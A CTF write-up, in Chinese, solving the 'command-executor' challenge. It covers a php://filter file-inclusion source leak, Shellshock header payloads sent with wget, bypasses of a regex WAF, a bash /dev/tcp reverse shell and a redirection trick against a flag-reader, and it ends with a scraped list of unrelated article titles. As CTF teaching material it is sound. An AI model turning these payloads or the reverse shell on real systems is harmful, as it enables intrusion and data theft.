这里先给出题目链接:

https://command-executor.hackme.inndy.tw/

这是一道不错的ctf题,首先说一下考察点:

文件包含读源码
代码分析结合CVE
CVE导致的命令执行
写入文件/反弹shell
思考c文件的解法
重定向获取flag

我们先看一下题目主页面:

发现有敏感的选项,我们尝试点击:

发现可以遍历目录,但是对输入的命令有限制,只能执行ls,env 。

但是我们观察上图发现有几个php的文件名有似曾相识的感觉,比如 cmd.php , ls.php ,

man.php , untar.php 这几个php的文件名 ls , cmd , untar 像是url中func包含过来的参数,

这样的话,是不是存在文件包含漏洞,我们构造poc:

php://filter/read=convert.base64-encode/resource=index

这样的话,我们用func接受这个参数,就可以读到base64加密过后的index.php文件:

成功读到base64加密过后的index.php文件,我们解密分析:

<?php
$pages = [['man', 'Man'],['untar', 'Tar Tester'],['cmd', 'Cmd Exec'],['ls', 'List files'],
];function fuck($msg) {header('Content-Type: text/plain');echo $msg;exit;
}$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};'
];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}}
}waf($_SERVER);
waf($_GET);
waf($_POST);function execute($cmd, $shell='bash') {system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') { putenv("$key=$val");}
}$page = '';if(isset($_GET['func'])) {$page = $_GET['func'];if(strstr($page, '..') !== false) {$page = '';}
}if($page && strlen($page) > 0) {try {include("$page.php");} catch (Exception $e) {}
}

我们发现了一个比较敏感的putenv()函数,这个函数的作用是用来向环境表中添加或者修改环境变量

结合唯一可以执行的env命令想到2014年的一个重大漏洞:

CVE-2014-6271
破壳(ShellShock)漏洞

具体漏洞详情我会在稍后的博客中复现这个漏洞,清持续关注我的博客。

这里先贴出Freebuf的分析连接:

http://www.freebuf.com/articles/system/45390.html

确定了漏洞,就是尝试可用exp的时候了,这时候可以容易google到
这样一篇文章:

https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php

其中重点的一段如下:

可以清楚看到这样一个payload:

wget --header="X-Exploit:(){:;};echo Hacked" -q -O - http://127.0.0.1/shock.php

并且和这个测试样本和我们题目中给出的代码十分相似:

foreach($_SERVER as $key => $val) {if(substr($key, 0, 5) === 'HTTP_') {putenv("$key=$val");}
}

于是我们先去尝试一下适用性:

可以发现我们被waf拦截了:

\(\)\s*\{\s*:;\s*\}; detected! exit now.

回去分析index.php的waf过滤点:

$black_list = ['\/flag', '\(\)\s*\{\s*:;\s*\};'
];function waf($a) {global $black_list;if(is_array($a)) {foreach($a as $key => $val) {waf($key);waf($val);}} else {foreach($black_list as $b) {if(preg_match("/$b/", $a) === 1) {fuck("$b detected! exit now.");}}}
}

可以看到如上一个黑名单,
我们的

X-Exploit: () { :; };

正是被这个黑名单禁止了,但是这样的waf存在极大隐患,我们只要加个空格就可以轻松绕过:

X-Exploit: () { : ; };

我们再次攻击一次试试:

wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

可以看到Hacked成功被打印出来,说明我们的poc起了作用,下面我们开始执行命令,

不过需要注意的是,shellshock执行命令需要加上/bin/ , 比如 cat 命令直接读是读不出来的,

需要 /bin/cat 才可以,我们尝试读 /etc/password : /bin/cat /etc/password

wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

发现命令可以成功执行,下面我们就用命令ls来寻找flag:

https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../

我们尝试使用cat来读一下flag文件:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

oh,shit...又被waf拦了

这里有没有办法绕过/flag呢?

这里给出两条思路:

1.shell拼接,比如a=/fl;b=ag;c=a+b这样(此处写的不严谨,有兴趣可以自己去研究一下)
2.通配符绕过

这里我选择第二点:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

但这次并没有回显打出,但也没有报错,考虑是应为文件权限导致,

回去查看文件权限:

发现只有root才可读....

发现下面有一个c语言写的flag-reader.c,这个文件倒是有读的权限,

我们读一下他看有什么线索:

wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

打出回显:

<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><title>Command Executor</title><link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all"><link rel="stylesheet" href="comic-neue/font.css" media="all"><style>nav { margin-bottom: 1rem; }img { max-width: 100%; }</style></head><body><nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex"><a class="navbar-brand" href="index.php">Command Executor</a><ul class="navbar-nav"><li class="nav-item"><a class="nav-link" href="index.php?func=man">Man</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=untar">Tar Tester</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=cmd">Cmd Exec</a></li><li class="nav-item"><a class="nav-link" href="index.php?func=ls">List files</a></li></ul></nav><div class="container"><h1>Command Execution</h1>
<ul><li><a href="index.php?func=cmd&cmd=ls">ls</a></li><li><a href="index.php?func=cmd&cmd=env">env</a></li></ul>
<form action="index.php" method="GET"><input type="hidden" name="func" value="cmd"><div class="input-group"><input class="form-control" type="text" name="cmd" id="cmd"><div class="input-group-append"><input class="btn btn-primary" type="submit" value="Execute"></div></div>
</form>
<script>cmd.focus();</script>
<h2>$ env</h2><pre>#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>int main(int argc, char *argv[])
{char buff[4096], rnd[16], val[16];if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {write(1, "Not enough random\n", 18);}setuid(1337);seteuid(1337);alarm(1);write(1, &rnd, sizeof(rnd));read(0, &val, sizeof(val));if(memcmp(rnd, val, sizeof(rnd)) == 0) {int fd = open(argv[1], O_RDONLY);if(fd > 0) {int s = read(fd, buff, 1024);if(s > 0) {write(1, buff, s);}close(fd);} else {write(1, "Can not open file\n", 18);}} else {write(1, "Wrong response\n", 16);}
}
</pre></div></body>
</html>

审计这个c程序,大致原理就是:1秒之内把他输出的再输入回去,就可以打出文件内容

此时我们的思路很简单,运行这个c程序,再把这个c程序输出在1s内再输回去,但是纯靠这样的交互,

速度极慢,所以容易想到,要不要拿个shell?

这里给出2种拿shell的思路

1.反弹shell
2.找到可写目录,并写入文件,利用文件包含即可

这里我选择反弹shell(因为后面还会写文件,所以这里选择反弹,就不写了)

wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

然后一会儿就能收到shell

而下面就只要解决如何在1s内输入c文件输出的结果这个问题了

这里我选择了linux下的重定向,我们将输出写到某个文件中,再自动输入即可,这样即可达到目的

我们先去探索可写目录,发现 /var/tmp具有写权限

我们测试一下:

然后来看写进去了没有:

成功写入文件,证明这个目录可以利用,我们构造:

flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag

即可在skyflag中读到flag

转载于:https://www.cnblogs.com/bmjoker/p/9537667.html

24.command-executor相关推荐

  1. Java并发的四种风味:Thread、Executor、ForkJoin和Actor

    原文地址:Java并发的四种风味:Thread.Executor.ForkJoin和Actor 这篇文章讨论了Java应用中并行处理的多种方法.从自己管理Java线程,到各种更好的几种解决方法,Exe ...

  2. 并发基础(一):Executor

    2019独角兽企业重金招聘Python工程师标准>>> public interface Executor {/*** Executes the given command at s ...

  3. [并发编程] - Executor框架#ThreadPoolExecutor源码解读01

    文章目录 Pre Thread Java线程与OS线程 生命状态 状态切换 线程池 why use case Advantage Executor框架 ThreadPoolExecutor 源码分析 ...

  4. Java的Executor框架和线程池实现原理

    一,Java的Executor框架 1,Executor接口 public interface Executor {void execute(Runnable command);} Executor接 ...

  5. Java线程池Executor框架

    一.为什么要引入线程池 当存在大量并发任务时,创建.销毁线程需要很大的开销,运用线程池可以大大减小开销. 二.Executor框架 说明: Executor 执行器接口,该接口定义执行Runnable ...

  6. Java并发编程实战————Executor框架与任务执行

    引言 本篇博客介绍通过"执行任务"的机制来设计应用程序时需要掌握的一些知识.所有的内容均提炼自<Java并发编程实战>中第六章的内容. 大多数并发应用程序都是围绕&qu ...

  7. java Executor

    Executor框架是java 5 中引入的,内部使用了线程池机制.Executor框架包括:Executor, ExecutorService,Executors,ThreadPoolExecuto ...

  8. command execution

    命令执行漏洞总结 命令执行漏洞:直接调用操作系统命令 命令执行漏洞的原理:在操作系统中,*"&.|.||"*都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器 ...

  9. 干货 | 阿里巴巴混沌测试工具ChaosBlade两万字解读

    点击上方"方志朋",选择"设为星标" 做积极的人,而不是积极废人 一.前言 ChaosBlade 是一款遵循混沌工程实验原理,建立在阿里巴巴近十年故障测试和演练 ...

最新文章

  1. 2018 CVPR GAN 相关论文调研 (自己分了下类,附地址哦)
  2. mysql最左侧原则的深入理解
  3. link2005 重复定义错误
  4. Nginx+lua 实现调用.so文件方法
  5. TCP网络编程中connect()、listen()和accept()三者之间的关系
  6. Eclipse——通过Eclipse Marketplace安装SVN插件subclipse以及简单使用
  7. iOS之深入解析内存对齐的底层原理
  8. Hmac - Java加密与安全
  9. 如何禁用ALT+CLT+DEL组合键
  10. C++继承的继承方式
  11. GridView控件RowDataBound事件中获取列字段值的几种途径
  12. 安卓TableLayout表格布局
  13. idea如何打开pom引用依赖_idea 怎么引入在pom.xml的jar
  14. Linux学习笔记(7)
  15. OTT盒子市场起量正当时 12家主控厂商争夺3000万市场
  16. qemu的bridge和nat模式
  17. Apple Music预告登场 暗示AirPod 3新款耳机发售?
  18. 一个小吃摊,一把萨克斯,一名六旬老人将自己的生活演绎得有声有趣。
  19. 漫谈autoencoder:降噪自编码器/稀疏自编码器/栈式自编码器(含tensorflow实现)
  20. 操作系统概述及各类操作系统特点

热门文章

  1. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言——1077:统计满足条件的4位数
  2. [Qt教程] 第49篇 进阶(九) 多媒体应用简介
  3. 求杨辉三角的前n行数据_LeetCode算法第118题:杨辉三角
  4. c++项目源码_C/C++学习日记:用C++制作餐饮管理系统(附源码),可以用来做毕设的项目!...
  5. oracle的OCI目录下没有samples包的解决方案
  6. 软件工程之快速原型模型
  7. 每天一道LeetCode-----括号匹配
  8. 学习笔记-----C++模板类中友元函数重载输出运算符时提示无法解析的外部符号解决方案
  9. mysql 自增模式 auto,mysql(AUTO_INCREMENT)自增ID的起始值修改与设置
  10. 最简单的进制转换函数